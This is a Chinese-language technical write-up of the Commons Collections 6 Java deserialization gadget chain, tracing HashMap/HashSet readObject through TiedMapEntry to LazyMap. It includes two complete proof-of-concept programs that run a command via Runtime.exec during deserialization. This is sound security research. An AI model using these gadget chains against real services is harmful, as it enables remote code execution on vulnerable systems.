Java利用链CommonCollections6分析

在CommonsCollections1的利用链中在Java 8u71之后的版本无法利用,因为在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法发生了变化。在CC1的ysosserial中利用

AnnotationInvocationHandler#readObject=>AnnotationInvocationHandler#invoke=>LazyMap#get

最终调用LazyMap执行tansform,在CC6找到了新的触发LazyMap#get利用链

找到的类为org.apache.commons.collections.keyvalue.TiedMapEntry

TiedMapEntry

在TiedMapEntry中的getValue方法触发了get

image-20240120213239120

而其hashcode方法又调用了getValue方法

image-20240120213332294

利用链为

TiedMapEntry#hashcode=>TiedMapEntry#getValue=>LazyMap#get

需要继续找到触发TiedMapEntry#hashcode的类 改类为HashMap

HashMap

在Hashmap的hash方法中调用了hashcode,当key设置为TiedMapEntry就可以调用TiedMapEntry#hashcode

image-20240120214206984

同时在HashMap的readObject方法中发现调用了hash方法

image-20240120214412274

利用链为HashMap#readObject=>HashMap#hash

也就是说入口也找到了,直接反序列化构造的HashMap对象就可以执行整个利用链

整个利用过程为

HashMap#readObject=>HashMap#hash=>TiedMapEntry#hashcode=>TiedMapEntry#getValue=>LazyMap#get

构造利用链

根据分析的利用链进行利用链构造,POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class CommonCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"value");

//序列化hashMap
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();

//反序列化hashMap
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

}
}

成功弹出计算器

image-20240120215305021

CC6利用链可以通过HashMap一个类直接触发,而在ysoserial中的触发则相对复杂利用到了多个类

ysoserial中的CC6利用链

在ysoserial的利用链如下

HashSet#readObject=>HashMap#put=>HashMap#hash=>TiedMapEntry#hashCode

入口点为HashSet的readObject,由于HashMap#hash=>TiedMapEntry#hashCode已经追过源码继续追一下HashSet#readObject=>HashMap#put=>HashMap#hash的利用链

在HashMap中的put方法也触发了hash

image-20240120220021349

HashSet的readObject方法触发了map#put

image-20240120220141829

构造Gadget的难点是设置HashSet的key没有办法像HashMap一样直接put(key,value),需要利用反射获取属性参数进行设置,在开始构造了如下gadget但是无法执行

image-20240120225337784

提示报错

image-20240120225411211

原因是在HashSet中的map属性必须为HashMap类型

image-20240120225505158

看看ysoserial中是如何处理的

image-20240120225618529

先获取创建Hashset的map属性没有则获取backingMap 最终类型为HashMap

image-20240120225747372

获取返回HashMap的table属性没有则获取elementData属性

image-20240120225940340

table为Node节点数组,Node用来存储key,value键值对

image-20240120230342405

相应的array返回的就是Node节点数组

接下来在节点数组中拿到已有设置的节点对象

image-20240120230512183

接下来获取Node节点对象的key属性

image-20240120230604042

参看Node节点的key

image-20240120230632145

最后关键一步设置key,entry为TiedMapEntry对象

image-20240120230652474

根据ysoserial整个利用链来构造复现下 POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
public class CommonCollections6B {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);

HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);


//序列化hashMap
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

//反序列化hashMap
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

}
}

成功弹出计算器

image-20240120231051698

__END__